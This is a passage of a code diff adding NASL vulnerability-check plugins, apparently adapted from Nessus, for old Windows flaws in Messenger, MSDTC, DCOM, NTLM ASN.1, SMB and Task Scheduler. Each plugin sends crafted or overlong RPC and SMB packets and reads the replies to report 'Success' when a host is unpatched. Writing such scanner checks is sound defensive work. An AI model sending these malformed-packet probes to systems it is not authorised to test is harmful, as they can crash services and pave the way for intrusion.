(d:session_key) + + raw_word (w:strlen(securityblob)) + + raw_dword (d:0) + + raw_dword (d: CAP_UNICODE * session_is_unicode() | CAP_LARGE_FILES | CAP_NT_SMBS | CAP_STATUS32 | CAP_LEVEL_II_OPLOCKS | CAP_NT_FIND | CAP_EXTENDED_SECURITY); + +parameters = smb_parameters (data:parameters); + +if ((strlen (securityblob) % 2) == 0) + securityblob += raw_string(0x00); + +data = securityblob + + cstring (string:"Unix") + + cstring (string:"Nessus") + + cstring (string:domain); + +data = smb_data (data:data); + +packet = netbios_packet (header:header, parameters:parameters, data:data); + +ret = smb_sendrecv (data:packet); +if (!ret) + return NULL; + +# Some checks in the header first +header = get_smb_header (smbblob:ret); +if (!ret) + exit (0); + +# STATUS_INVALID_PARAMETER -> patched +# STATUS_MORE_PROCESSING_REQUIRED -> vulnerable + +code = get_header_nt_error_code(header:header); +if ( code == STATUS_MORE_PROCESSING_REQUIRED) + display("Success"); + diff --git a/content/WinVA/plugins/win_messenger.nasl b/content/WinVA/plugins/win_messenger.nasl new file mode 100644 index 0000000..38c1e60 --- /dev/null +++ b/content/WinVA/plugins/win_messenger.nasl @@ -0,0 +1,276 @@ +# DESC : Messenger Service Buffer Overrun +# AUTHOR: Fizz +# DATE : 04/03/2006 +# +# NOTES : This vulnerability check is based on the +# messenger_03-043.nasl script provided from the nessus project. +# + + +# ############# +# # FUNCTIONS # +# ############# + +function dcom_recv(socket) +{ + local_var buf, len; + buf = recv(socket:socket, length:9); + if(strlen(buf) != 9) + return NULL; + + len = ord(buf[8]); + buf += recv(socket:socket, length:len - 9); + return buf; +} + + +# Check Win9x / ME +function check_win9xme() +{ + chk[3] = raw_string (0x02,0x00,0x01,0x00); + + bindwinme = raw_string( + 0x05,0x00,0x0b,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x53,0x53,0x56,0x41, + 0xd0,0x16,0xd0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x01,0x00, + 0xe6,0x73,0x0c,0xe6,0xf9,0x88,0xcf,0x11,0x9a,0xf1,0x00,0x20,0xaf,0x6e,0x72,0xf4, + 0x02,0x00,0x00,0x00,0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00, + 0x2b,0x10,0x48,0x60,0x02,0x00,0x00,0x00 + ); + + soc = open_sock_tcp(port); + if(soc) + { + send(socket:soc,data:bindwinme); + rwinme = dcom_recv(socket:soc); + if(!strlen(rwinme)) + exit(0); + lenwinme = strlen(rwinme); + if(lenwinme < 24 ) + exit(0); + stubwinme = substr(rwinme, lenwinme-24, lenwinme-21); + if (stubwinme >< chk[3]) + exit(0); + close(soc); + } + else + exit(0); +} + + +# Check WinXP +function check_XP() +{ + bindxp = raw_string( + 0x05, 0x00, 0x0b, 0x03, 0x10, 0x00, 0x00, 0x00, + 0xcc, 0x00, 0x00, 0x00, 0x84, 0x67, 0xbe, 0x18, + 0x31, 0x14, 0x5c, 0x16, 0x00, 0x00, 0x00, 0x00, + 0x04, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, + 0xb8, 0x4a, 0x9f, 0x4d, 0x1c, 0x7d, 0xcf, 0x11, + 0x86, 0x1e, 0x00, 0x20, 0xaf, 0x6e, 0x7c, 0x57, + 0x00, 0x00, 0x00, 0x00, 0x04, 0x5d, 0x88, 0x8a, + 0xeb, 0x1c, 0xc9, 0x11, 0x9f, 0xe8, 0x08, 0x00, + 0x2b, 0x10, 0x48, 0x60, 0x02, 0x00, 0x00, 0x00, + 0x02, 0x00, 0x01, 0x00, 0xa0, 0x01, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x46, 0x00, 0x00, 0x00, 0x00, + 0x04, 0x5d, 0x88, 0x8a, 0xeb, 0x1c, 0xc9, 0x11, + 0x9f, 0xe8, 0x08, 0x00, 0x2b, 0x10, 0x48, 0x60, + 0x02, 0x00, 0x00, 0x00, 0x03, 0x00, 0x01, 0x00, + 0x0a, 0x42, 0x24, 0x0a, 0x00, 0x17, 0x21, 0x41, + 0x2e, 0x48, 0x01, 0x1d, 0x13, 0x0b, 0x04, 0x4d, + 0x00, 0x00, 0x00, 0x00, 0x04, 0x5d, 0x88, 0x8a, + 0xeb, 0x1c, 0xc9, 0x11, 0x9f, 0xe8, 0x08, 0x00, + 0x2b, 0x10, 0x48, 0x60, 0x02, 0x00, 0x00, 0x00, + 0x04, 0x00, 0x01, 0x00, 0xb0, 0x01, 0x52, 0x97, + 0xca, 0x59, 0xcf, 0x11, 0xa8, 0xd5, 0x00, 0xa0, + 0xc9, 0x0d, 0x80, 0x51, 0x00, 0x00, 0x00, 0x00, + 0x04, 0x5d, 0x88, 0x8a, 0xeb, 0x1c, 0xc9, 0x11, + 0x9f, 0xe8, 0x08, 0x00, 0x2b, 0x10, 0x48, 0x60, + 0x02, 0x00, 0x00, 0x00); + + req = raw_string( + 0x05, 0x00, 0x00, 0x03, 0x10, 0x00, 0x00, 0x00, + 0xaa, 0x00, 0x00, 0x00, 0x41, 0x41, 0x41, 0x41, + 0x80, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x05, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x28, 0x63, 0x29, 0x20, + 0x75, 0x65, 0x72, 0x84, 0x20, 0x73, 0x73, 0x53, + 0x20, 0x82, 0x80, 0x67, 0x00, 0x00, 0x00, 0x00, + 0x80, 0x1d, 0x94, 0x5e, 0x96, 0xbf, 0xcd, 0x11, + 0xb5, 0x79, 0x08, 0x00, 0x2b, 0x30, 0xbf, 0xeb, + 0x01, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, + 0x5c, 0x00, 0x5c, 0x00, 0x41, 0x00, 0x00, 0x00, + 0x41, 0x00, 0x41, 0x00, 0x5c, 0x00, 0x43, 0x00, + 0x24, 0x00, 0x5c, 0x00, 0x41, 0x00, 0x2e, 0x00, + 0x74, 0x00, 0x78, 0x00, 0x74, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, + 0xff, 0xff, 0xff, 0xff, 0x01, 0x00, 0x00, 0x00, + 0x58, 0x73, 0x0b, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x31, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, + 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x07, 0x00); + + soc = open_sock_tcp(port); + if(soc) + { + send(socket:soc,data:bindxp); + recv = dcom_recv(socket:soc); + if(!strlen(recv)) + exit(0); + send(socket:soc,data:req); + recv = dcom_recv(socket:soc); + if(!strlen(recv)) + exit(0); + + len = strlen(recv); + if (len == 32) + { + # Windows XP Found! + close(soc); + return (1); + } + close(soc); + return (0); + } + else exit(0); +} + + +# Windows NT & 2K +function check_NT2K() +{ + bindNT2K = raw_string( + 0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00, + 0x00,0x00,0x7F,0x00,0x00,0x00,0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00, + 0x00,0x00,0x01,0x00,0x01,0x00,0xA0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00, + 0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x04,0x5D,0x88,0x8a,0xEB,0x1C, + 0xC9,0x11,0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00); + + req = raw_string( + 0x05, 0x00, 0x00, 0x03, 0x10, 0x00, 0x00, 0x00, + 0xaa, 0x00, 0x00, 0x00, 0x41, 0x41, 0x41, 0x41, + 0x80, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x05, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x28, 0x63, 0x29, 0x20, + 0x75, 0x65, 0x72, 0x84, 0x20, 0x73, 0x73, 0x53, + 0x20, 0x82, 0x80, 0x67, 0x00, 0x00, 0x00, 0x00, + 0x80, 0x1d, 0x94, 0x5e, 0x96, 0xbf, 0xcd, 0x11, + 0xb5, 0x79, 0x08, 0x00, 0x2b, 0x30, 0xbf, 0xeb, + 0x01, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, + 0x5c, 0x00, 0x5c, 0x00, 0x41, 0x00, 0x00, 0x00, + 0x41, 0x00, 0x41, 0x00, 0x5c, 0x00, 0x43, 0x00, + 0x24, 0x00, 0x5c, 0x00, 0x41, 0x00, 0x2e, 0x00, + 0x74, 0x00, 0x78, 0x00, 0x74, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, + 0xff, 0xff, 0xff, 0xff, 0x01, 0x00, 0x00, 0x00, + 0x58, 0x73, 0x0b, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x31, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, + 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x07, 0x00); + + soc = open_sock_tcp(port); + if(soc) + { + send(socket:soc,data:bindNT2K); + recv = dcom_recv(socket:soc); + if(!strlen(recv)) + exit(0); + send(socket:soc,data:req); + recv = dcom_recv(socket:soc); + if(!strlen(recv)) + exit(0); + + len = strlen(recv); + # If len = 32 then Windows NT Found + # Else Windows 2K Found + close(soc); + return (1); + } + else + exit(0); +} + + +# Check for Windows version +function check_winos() +{ + port = 135; + if(!get_port_state(port)) + { + port = 593; + } + else + { + soc = open_sock_tcp(port); + if(!soc) + port = 593; + else + close(soc); + } + + check_win9xme(); + check_XP(); + check_NT2K(); +} + + +function check_rpc_serv() +{ + seq1 = rand() % 256; + seq2 = rand() % 256; + + sport = 2048 + rand() % 4096; + + req = raw_string(0x04, 0x00, 0x28, 0x00, 0x10, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0xf8, 0x91, 0x7b, 0x5a, 0x00, 0xff, + 0xd0, 0x11, 0xa9, 0xb2, 0x00, 0xc0, 0x4f, 0xb6, + 0xe6, 0xfc, 0x04, 0x00, seq1, seq2, 0x03, 0x04, + 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0c, + 0x0d, 0x0e, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, + 0x00, 0x00, seq1, seq2, 0x00, 0x00, 0x00, 0x00, + 0xff, 0xff, 0xff, 0xff, 0x34, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x08, 0x00, 0x00, 0x00) + "TENABLE" + + raw_string(0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x03, 0x00, 0x00, 0x00) + "tst" + raw_string(0); + + ip = forge_ip_packet(ip_hl : 5, ip_v: 4, ip_tos:0, ip_len:20, ip_id:rand(), ip_off:0, ip_ttl:64, ip_p:IPPROTO_UDP, ip_src:this_host()); + + myudp = forge_udp_packet(ip:ip, uh_sport:sport, uh_dport:135, uh_ulen: 8 + strlen(req), data:req); + filter = 'udp and dst port ' + sport + ' and src host ' + get_host_ip(); + + for(i=0;i<3;i++) + { + rep = send_packet(myudp, pcap_active:TRUE, pcap_filter:filter, pcap_timeout:1); + if(rep) + { + sport = get_udp_element(udp:rep, element:"uh_sport"); + if (sport == 135) + exit(0); + data = get_udp_element(udp:rep, element:"data"); + code = substr(data, strlen(data) - 4, strlen(data) - 1); + if("f7060000" >< hexstr(code) || "0300011c" >< hexstr(code)) + { + display("Success"); + exit(0); + } + break; + } + } +} + + +# ############# +# # THE CHECK # +# ############# + +check_winos(); +check_rpc_serv(); diff --git a/content/WinVA/plugins/win_msdtc.nasl b/content/WinVA/plugins/win_msdtc.nasl new file mode 100644 index 0000000..44d4031 --- /dev/null +++ b/content/WinVA/plugins/win_msdtc.nasl @@ -0,0 +1,390 @@ +# DESC : MSDTC / COM+ +# AUTHOR: Fizz +# DATE : 05/03/2006 +# +# NOTES : This vulnerability check script has been completely +# rewritten. It works :-) +# + + +include ('smb_func.inc'); +include ("misc_func.inc"); + + +# ############# +# # VARIABLES # +# ############# + +global_var rpc_info, ip_address; + +rpc_info = NULL; +ip_address = NULL; + + +# ############# +# # FUNCTIONS # +# ############# + +function rpc_recv (socket) +{ + local_var header, body, len; + header = recv (socket:socket, length:24, min:24); + if (strlen(header) != 24) + return NULL; + len = get_word (blob:header, pos:8) - 24; + body = recv (socket:socket, length:len, min:len); + if (strlen(body) != len) + return NULL; + return header + body; +} + + +function Lookup (socket, type, object, interface, handle, entries) +{ + local_var data, ret, resp, obj, id, _handle, code, num_entries, pos, i; + local_var object_id, ref_id, annotation_offset, annotation_length, tower_length, tower, annotation; + + if (isnull(object)) + obj = raw_dword (d:0); + else + obj = encode_uuid(uuid:object); + + if (isnull(interface)) + id = raw_dword (d:0); + else + id = encode_uuid(uuid:interface); + + if (isnull(handle)) + _handle = crap (data:raw_string(0), length:20); + else + _handle = handle; + + data = raw_dword (d:type) + # Inquiry type + obj + # Object + id + # interface + raw_dword (d:0) + # version option + _handle + # handle + raw_dword (d:entries) ; # Max entries + + ret = dce_rpc_request (code:0x02, data:data); + send (socket:socket, data:ret); + resp = rpc_recv (socket:socket); + resp = dce_rpc_parse_response (data:resp); + + if (strlen (resp) < 28) + return NULL; + + code = get_dword (blob:resp, pos:strlen(resp)-4); + if (code != 0) + return NULL; + + _handle = substr(resp, 0, 19); + num_entries = get_dword (blob:resp, pos:20); + + pos = 24; + if (num_entries > 0) + { + pos += 12; # actual count, offset, max count + } + + ref_id = object_id = annotation = NULL; + + for (i=0 ; i 0) + { + pos += 8; + + if (strlen(resp) < pos + tower_length) + return NULL; + + tower = substr (resp, pos, pos + tower_length - 1); + ret[i+1] = raw_dword (d:strlen(annotation[i])) + annotation[i] + object_id[i] + tower; + pos += tower_length; + if (tower_length % 4) + pos += 4 - (tower_length % 4); + } + } + } + + return ret; +} + + +function parse_lookup_result(data) +{ + local_var ret, num, pos, len, i, oldpos; + ret = NULL; + len = get_dword (blob:data, pos:0); + if (len > 0) + ret[1] = substr (data, 4, 4+len-1); + else + ret[1] = NULL; + pos = 4 + len; + if (strlen (data) < (pos + 18)) + return NULL; + ret[0] = decode_uuid(uuid:substr(data,pos,pos+15)); + num = get_word (blob:data, pos:pos+16); + pos = pos + 18; + + for (i=0; i= 6) + { + entry1 = decode_entry (entry:ret[2]); + entry4 = decode_entry (entry:ret[5]); + + if ((!isnull(entry1) && !isnull(entry4)) && (entry4[0] == 0x07) && (entry1[2] == "906b0ce0-c70b-1067-b317-00dd010662da")) + { + port = entry4[2]; + context_handles[found] = ret[0]; + found = found + 1; + } + } + } + } + } + else + break; +} + + +# Test for the vulnerability... + +if (!port) + exit (0); + +if (!get_port_state (port)) + exit (0); + +if (isnull(context_handles)) + exit (0); + +foreach context_handle (context_handles) +{ + if (!isnull(context_handle)) + break; +} + +if (!get_port_state(port)) + exit(0); +soc = open_sock_tcp (port); +if (!soc) + exit(0); + +host_ip = get_host_ip(); + +ret = dce_rpc_bind(cid:session_get_cid(), uuid:"906b0ce0-c70b-1067-b317-00dd010662da", vers:1); +send (socket:soc, data:ret); +resp = recv (socket:soc, length:4096); + +if (!resp) +{ + close (soc); + exit (0); +} + +ret = dce_rpc_parse_bind_ack (data:resp); +if (isnull (ret) || (ret != 0)) +{ + close (soc); + exit (0); +} + +session_set_unicode (unicode:1); + +data = raw_dword (d:0) + + +# Type 1 +raw_dword (d:0) + +raw_dword (d:0) + +raw_dword (d:0) + +raw_dword (d:0) + +raw_dword (d:0) + +raw_dword (d:0) + + +# need a valid context handle to pass the first check +class_name (name:context_handle) + +# a patched version will first check if the length is less than 0x0F +class_name (name:crap(data:"B", length:17)) + + +# need to be 37 bytes long to be a valid RPC packet +# [size_is(37)] [in] [string] wchar_t * element_57, +# [size_is(37)] [in] [string] wchar_t * element_58, +class_name (name:crap(data:"A", length:36)) + +class_name (name:crap(data:"A", length:36)) + + +class_name (name:"tns") + + +# Type 2 +raw_dword (d:0) + +raw_dword (d:0) + +raw_dword (d:0) + + +# [in] [range(8,8)] long element_65, +# [size_is(element_65)] [in] char element_66, +# range restriction is only present in the Windows XP/2003 version +raw_dword (d:8) + +raw_dword (d:8) + +crap (data:raw_string(0), length:8); + +ret = dce_rpc_request (code:0x07, data:data); +send (socket:soc, data:ret); +resp = recv (socket:soc, length:4096); +resp = dce_rpc_parse_response (data:resp); + +if (strlen(resp) > 8) +{ + val = get_dword (blob:resp, pos:strlen(resp)-4); + if (val == 0x80070057) + { + if (strlen(resp) < 16) + exit (0); + + len = get_dword (blob:resp, pos:0); + offset = get_dword (blob:resp, pos:4); + actual_len = get_dword (blob:resp, pos:8); + + uuid = get_string2 (blob:resp, pos:12, len:len*2); + # a vulnerable version reply with an uuid of 000... + # a patched version with our original buffer (tns) + if (uuid == "00000000-0000-0000-0000-000000000000") + display("Success"); + } +} diff --git a/content/WinVA/plugins/win_msrpc_dcom.nasl b/content/WinVA/plugins/win_msrpc_dcom.nasl new file mode 100644 index 0000000..57002cc --- /dev/null +++ b/content/WinVA/plugins/win_msrpc_dcom.nasl @@ -0,0 +1,71 @@ +# DESC : Microsoft Windows DCOM +# AUTHOR: Fizz +# DATE : 08/03/2006 +# +# NOTES : This vulnerability check is based on the +# win_msrpc_dcom2.nasl script provided from the +# nessus project. +# + +include ('smb_func.inc'); + +function RemoteGetClassObject () +{ + local_var fid, data, rep, ret; + + fid = bind_pipe (pipe:"\epmapper", uuid:"000001a0-0000-0000-c000-000000000046", vers:0); + if (isnull (fid)) + return 0; + + data = raw_word (w:5) + + raw_word (w:6) + + raw_dword (d:1) + + raw_dword (d:0) + + encode_uuid (uuid:"54454e41-424c-454e-4554-574f524b5345") + + raw_dword (d:0) + + raw_dword (d:0x20000) + + raw_dword (d:12) + + raw_dword (d:12) + + crap (data:"A", length:12) + + raw_dword (d:0); + + + data = dce_rpc_pipe_request (fid:fid, code:0x03, data:data); + if (!data) + return 0; + + rep = dce_rpc_parse_response (fid:fid, data:data); + if (!rep || (strlen(rep) != 16)) + return 0; + + ret = get_dword (blob:rep, pos:strlen(rep)-4); + if ((ret == 0x8001011d) || (ret == 0x80070057) || (ret == 0x80070005)) + return 0; + + return 1; +} + +# ############# +# # THE CHECK # +# ############# + +port = 445; + +if ( ! get_port_state(port) ) exit(0); +soc = open_sock_tcp(port); +if ( ! soc ) exit(0); + +name = kb_smb_name(); + +session_init(socket:soc, hostname:name); + +r = NetUseAdd(share:"IPC$"); +if ( r == 1 ) +{ + + ret = RemoteGetClassObject(); + if (ret == 1) + display("Success"); + + NetUseDel(); +} diff --git a/content/WinVA/plugins/win_ntlm_asn1.nasl b/content/WinVA/plugins/win_ntlm_asn1.nasl new file mode 100644 index 0000000..6807191 --- /dev/null +++ b/content/WinVA/plugins/win_ntlm_asn1.nasl @@ -0,0 +1,181 @@ +# DESC : Windows NTLM ASN.1 Check +# AUTHOR: Fizz +# DATE : 14/03/2006 +# +# NOTES : This vulnerability check is based on the +# windows_asn1_vuln_ntlm.nasl script provided from the +# nessus project. +# + + +# ############# +# # FUNCTIONS # +# ############# + + +include("smb_func.inc"); + + +function mechListMIC() +{ + local_var data; + + data = raw_string(0x30,0x3C,0xA0,0x30,0x3B,0x2E) + + raw_string(0x04, 0x81, 0x01, 0x25) + + raw_string(0x24, 0x81, 0x27) + + raw_string(0x04, 0x01, 0x00, 0x24, 0x22, 0x24, 0x20, 0x24, + 0x18, 0x24, 0x16, 0x24, 0x14, 0x24, 0x12, 0x24, + 0x10, 0x24, 0x0e, 0x24, 0x0c, 0x24, 0x0a, 0x24, + 0x08, 0x24, 0x06, 0x24, 0x04, 0x24, 0x02, 0x04, + 0x00, 0x04, 0x82, 0x00, 0x02, 0x39, 0x25) + + raw_string(0xa1, 0x08) + + raw_string(0x04, 0x06, 0x06) + + "FScan"; + + return data; +} + + +function ntlmssp_negotiate_securityblob2 () +{ + local_var mechtypes, mechtoken, ntlmssp, offset; + mechtypes = der_encode (tag:0x30, data:der_encode_oid (oid:"1.3.6.1.4.1.311.2.2.10")); + ntlmssp = "NTLMSSP" + raw_string (0x00); + ntlmssp += raw_dword (d:1); # NTLMSSP_NEGOTIATE + ntlmssp += raw_dword (d:NTLMSSP_NEGOTIATE_UNICODE | NTLMSSP_REQUEST_TARGET | NTLMSSP_NEGOTIATE_NTLM | NTLMSSP_NEGOTIATE_NTLM2); # Flags + ntlmssp += ntlmssp_data (data:NULL,offset:0); # workstation domain NULL + ntlmssp += ntlmssp_data (data:NULL,offset:0); # workstation name NULL + + # Version 1.0 + ntlmssp += raw_byte (b:1) + raw_byte (b:0); + # Version Number = 0 + ntlmssp += raw_word (w:0); + + # Unknown value + ntlmssp += raw_string (0x00,0x00,0x00,0x0F); + + mechtoken = der_encode_octet_string (string:ntlmssp); + return der_encode_negtokeninit (mechtypes:mechtypes, reqflags:NULL, mechtoken:mechtoken, mechlistmic:mechListMIC()); +} + + +# ############# +# # THE CHECK # +# ############# + +name = kb_smb_name(); +if(!name) + exit(0); + +# Get port +port = 445; +soc = 0; +if (get_port_state(port)) + soc = open_sock_tcp(port); +if (!soc) +{ + port = 139; + if (!get_port_state(port)) + exit(0); + soc = open_sock_tcp(port); +} + +if (!soc) + exit(0); + +session_init (socket:soc, hostname:name); + +if (port == 139) +{ + if (netbios_session_request () != TRUE) + exit (0); +} + +ret = smb_negotiate_protocol (); +if (!ret) + exit (0); + +# Some checks in the header first +header = get_smb_header (smbblob:ret); +if (!ret) + exit (0); + +if (smb_check_success (data:ret) == FALSE) + exit (0); + +code = get_header_command_code (header:header); +if (code != SMB_COM_NEGOTIATE) + exit (0); + +# We now parse/take information in SMB parameters +parameters = get_smb_parameters (smbblob:ret); +if (!parameters) + exit (0); + +DialectIndex = get_word (blob:parameters, pos:0); + +if (DialectIndex > (supported_protocol-1)) + exit (0); + +if (protocol[DialectIndex] != "NT LM 0.12") + exit (0); + +Capabilities = get_dword (blob:parameters, pos:19); + +if (Capabilities & CAP_UNICODE) + session_set_unicode (unicode:1); +else + session_set_unicode (unicode:0); + +if (Capabilities & CAP_EXTENDED_SECURITY) + session_add_flags2 (flag:SMB_FLAGS2_EXTENDED_SECURITY); +else + exit (0); + +header = smb_header (Command: SMB_COM_SESSION_SETUP_ANDX, + Status: nt_status (Status: STATUS_SUCCESS)); + +securityblob = ntlmssp_negotiate_securityblob2 (); + +parameters = raw_byte (b:255) + # no further command + raw_byte (b:0) + + raw_word (w:0) + + raw_word (w:session_get_buffersize()) + + raw_word (w:1) + + raw_word (w:0) + + raw_dword (d:session_key) + + raw_word (w:strlen(securityblob)) + + raw_dword (d:0) + + raw_dword (d: CAP_UNICODE * session_is_unicode() | CAP_LARGE_FILES | CAP_NT_SMBS | CAP_STATUS32 | CAP_LEVEL_II_OPLOCKS | CAP_NT_FIND | CAP_EXTENDED_SECURITY); + +parameters = smb_parameters (data:parameters); + +# If strlen (securityblob) odd add 1 pad byte +if ((strlen (securityblob) % 2) == 0) + securityblob += raw_string(0x00); + +data = securityblob + + cstring (string:"Unix") + + cstring (string:"FScan") + + cstring (string:domain); + +data = smb_data (data:data); + +packet = netbios_packet (header:header, parameters:parameters, data:data); + +ret = smb_sendrecv (data:packet); +if (!ret) + return NULL; + + +# Some checks in the header first +header = get_smb_header (smbblob:ret); +if (!ret) + exit (0); + +# STATUS_INVALID_PARAMETER -> patched +# STATUS_MORE_PROCESSING_REQUIRED -> vulnerable + +code = get_header_nt_error_code(header:header); +if ( code == STATUS_MORE_PROCESSING_REQUIRED) + display("Success"); diff --git a/content/WinVA/plugins/win_smb.nasl b/content/WinVA/plugins/win_smb.nasl new file mode 100644 index 0000000..2f0b77b --- /dev/null +++ b/content/WinVA/plugins/win_smb.nasl @@ -0,0 +1,118 @@ +# DESC : IIS Remote Command Execution +# AUTHOR: Fizz +# DATE : 17/03/2006 +# +# NOTES : This vulnerability check is based on the +# smb_kb896422.nasl script provided from the +# nessus project. +# + + +include("smb_func.inc"); + + +# ############# +# # FUNCTIONS # +# ############# + + +global_var mpc, mdc; + +function smb_trans_and_x2 (extra_parameters, transname, param, data, max_pcount) +{ + local_var header, parameters, dat, packet, ret, pad, trans, p_offset, d_offset, plen, dlen, elen, pad2; + pad = pad2 = NULL; + if (session_is_unicode() == 1) + pad = raw_byte (b:0); + else + pad2 = raw_byte (b:0); + + header = smb_header (Command: SMB_COM_TRANSACTION, Status: nt_status (Status: STATUS_SUCCESS)); + trans = cstring (string:transname); + + p_offset = 66 + strlen(trans) + strlen (extra_parameters); + d_offset = p_offset + strlen (param); + plen = strlen(param); + dlen = strlen(data); + elen = strlen(extra_parameters); + + parameters = raw_word (w:plen) + # total parameter count + raw_word (w:dlen) + # total data count + raw_word (w:mpc) + # Max parameter count + raw_word (w:mdc) + # Max data count + raw_byte (b:0) + # Max setup count + raw_byte (b:0) + # Reserved + raw_word (w:0) + # Flags + raw_dword (d:0) + # Timeout + raw_word (w:0) + # Reserved + raw_word (w:plen) + # Parameter count + raw_word (w:p_offset) + # Parameter offset + raw_word (w:dlen) + # Data count + raw_word (w:d_offset) + # Data offset + raw_byte (b:elen/2) + # Setup count + raw_byte (b:0); # Reserved + parameters += extra_parameters; + parameters = smb_parameters (data:parameters); + + dat = pad + + trans + + pad2 + + raw_word (w:0) + + param + + data; + dat = smb_data (data:dat); + packet = netbios_packet (header:header, parameters:parameters, data:dat); + ret = smb_sendrecv (data:packet); + if (!ret) + return NULL; + return ret; +} + + +# ############## +# # THE CHECKS # +# ############## + + +# Initial stuff... +port = 445; +name = kb_smb_name(); +if(!name) + exit(0); +if(!get_port_state(port)) + exit(0); +soc = open_sock_tcp(port); +if(!soc) + exit(0); + +session_init (socket:soc,hostname:name); +ret = NetUseAdd (share:"IPC$"); +if (ret != 1) +{ + close (soc); + exit (0); +} + +mpc = session_get_server_max_size() / 2; +mdc = session_get_server_max_size() / 2 + 0x10; + +fid = bind_pipe (pipe:"\browser", uuid:"6bffd098-a112-3610-9833-012892020162", vers:0); +if (isnull(fid)) +{ + fid = bind_pipe (pipe:"\lsarpc", uuid:"12345778-1234-abcd-ef00-0123456789ab", vers:0); + if (isnull (fid)) + { + NetUseDel(); + exit (0); + } +} + +parameters = raw_word (w:TRANS_PIPE) + + raw_word (w:fid); + +ret = smb_trans_and_x2 (extra_parameters:parameters, transname:"\PIPE\", param:NULL, data:dce_rpc_request (code:opnum, data:NULL), max_pcount:0); + +NetUseDel (); + +if (strlen(ret) > 92) + display("Success"); diff --git a/content/WinVA/plugins/win_taskscheduler.nasl b/content/WinVA/plugins/win_taskscheduler.nasl new file mode 100644 index 0000000..b6a5eb9 --- /dev/null +++ b/content/WinVA/plugins/win_taskscheduler.nasl @@ -0,0 +1,342 @@ +# DESC : Windows Task Scheduler +# AUTHOR: Fizz +# DATE : 04/03/2006 +# +# NOTES : This vulnerability check script has been completely +# rewritten. It works :-) +# + + +include("smb_func.inc"); +include("misc_func.inc"); + + +# ############# +# # VARIABLES # +# ############# + +global_var rpc_info, ip_address; + +rpc_info = NULL; +ip_address = NULL; + +bind = raw_string(0x05,0x00,0x0b,0x00,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x01,0x00,0x00,0x00, + 0x00,0x10,0x00,0x10,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x01,0x00, + 0xb0,0x52,0x8e,0x37,0xa9,0xc0,0xcf,0x11,0x82,0x2d,0x00,0xaa,0x00,0x51,0xe4,0x0f, + 0x01,0x00,0x00,0x00,0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00, + 0x2b,0x10,0x48,0x60,0x02,0x00,0x00,0x00); + +req = raw_string(0x05,0x00,0x00,0x83,0x10,0x00,0x00,0x00,0x5C,0x01,0x00,0x00,0x01,0x00,0x00,0x00, + 0x34,0x01,0x00,0x00,0x00,0x00,0x03,0x00,0xB0,0x52,0x8E,0x37,0xA9,0xC0,0xCF,0x11, + 0x82,0x2D,0x00,0xAA,0x00,0x51,0xE4,0x0F); + +req2 = raw_string(0xCC,0xFD,0x12,0x00,0x43,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x43,0x00,0x00,0x00,0x04,0x4e,0x45,0x53,0x53,0x55,0x53,0x03, + 0x4e,0x45,0x53,0x53,0x55,0x53,0x4e,0x45,0x53,0x53,0x55,0x53,0x4e,0x45,0x53,0x53, + 0x55,0x53,0x4e,0x45,0x53,0x53,0x55,0x53,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41, + 0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41, + 